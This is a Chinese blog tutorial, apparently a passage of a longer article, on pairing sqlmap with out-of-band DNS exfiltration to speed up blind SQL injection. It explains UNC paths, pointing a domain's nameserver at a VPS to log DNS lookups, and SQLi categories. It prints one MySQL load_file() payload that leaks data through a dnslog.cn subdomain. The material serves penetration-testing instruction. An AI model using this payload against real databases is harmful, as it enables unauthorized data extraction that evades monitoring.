主页 > 网络知识 > 手把手带你利用SQLmap结合OOB技术实现音速盲注

手把手带你利用SQLmap结合OOB技术实现音速盲注

一、概述与使用场景 1.1为什么写这篇文章?

在一次注入过程中,发现目标站点存在“基于时间的SQL盲注漏洞”。然而在注入过程中即使网络条件不错、用了sqlmap神器,然而一顿饭的时间过去了连表名竟然都还没注完,效率让人十分崩溃。

后面又使用OOB(out of band)带外通信技术,结合DNSlog平台进行手注。速度是略微有点提高,但是还是觉得应该有更好的自动化方法。网上找了很多文章,感觉都是讲了一点就刹住了,照着文章复现也是坑多多。不过自己最后还是走完了所有的坑。通过sqlmap神器通过OOB 把漫长几个小时的盲注的时间,缩短到了几秒。

这篇文章就是把这些东西记录下来,并将具体的实现过程详细步骤分享给大家。我肯定还是有理解不到位的地方,希望师傅们多多提一些建设性的建议和指导。

1.2阅读建议

建议大小师傅们都先从第三、四部分看起,我的学习观点是先Know how,再Know why。可以先跟着我的步骤复现成功,再回过头认真理解原理。

1.3使用场景

(1)存在注入点,然而无回显。可能被waf拦截了,仅能通过盲注等方式获取目标数据,然而表和字段数据特别多,直接进行盲注太过漫长。

(2)即使无法直连外网,但是DNS请求可达外网。

(3)能够引发DNS查询请求的数据库函数需要被开启,例如MySQL的load_file()函数。

(4)本文是Windows主机搭建的网站中实现注入,Linux暂未实现。

二、前置知识点原理 2.1 UNC路径讲解

UNC (Universal Naming Convention) /通用命名规则,也叫通用命名规范、通用命名约定,一般Windows主机默认存在,Linux主机默认不存在。格式:\servernamesharename,其中servername是服务器名。sharename是共享资源的名称。

我们平时使用的打印机、网络共享文件夹时,都会用到UNC填写地址。并且当我们在使用UNC路径时,是会对域名进行DNS查询。比如我在运行中输入\,用wireshark抓DNS包进行分析,可以看到确实存在对这个域名进行DNS请求的流量,如下图所示:

 

手把手带你利用SQLmap结合OOB技术实现音速盲注

 

 

手把手带你利用SQLmap结合OOB技术实现音速盲注

 

2.2 DNS迭代查询原理

首先需要有一个可以配置的域名,比如在本文第3部分《3. 阿里云主机与DNS解析配置》购买的域名。

然后通过代理商(本文是使用阿里云)设置域名fuzi666.xyz 的 nameserver 为自己的VPS服务器 A,然后在VPS服务器 A 上配置好 DNS Server。

这样以来所有 fuzi666.xyz 及其子域名的查询都会到 服务器 A 上。这时你在VPS服务器A上就能够实时地监控dns查询请求了,图示如下。

 

手把手带你利用SQLmap结合OOB技术实现音速盲注

 

2.3 OOB原理

OOB,英文全称是out of band,中文:带外通信。理解OOB之前要知道SQLi可分为三个独立的类别:inband, inference(推理) 和out-of-band。

Inband一般是报错注入、union联合注入等注入类型,他们可以在页面中回显或提供直接的报错显示,是最快和最方便的注入方式。inference一般又叫盲注,可以通过布尔判断、时间延迟等进行注入,无法直接获取页面显示耗时较长。

我们在平时渗透中,如果执行的sql注入均无回显(可能安全设备将回显进行了监控和阻断),这个时候可以利用结合前文2.1和2.2中的知识进行OOB带外通信,数据库oob具体实现如下几个方式

方式一:自定义字符串信息带出。

拼接到UNC路径中发起一个DNS请求,sql语句如下:

selectload_file('\\mygod.kccj9o.dnslog.cn\111');

 

手把手带你利用SQLmap结合OOB技术实现音速盲注

 

查看DNSlog的回显,已经将我们自定义的字段带了出来,如下图:

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!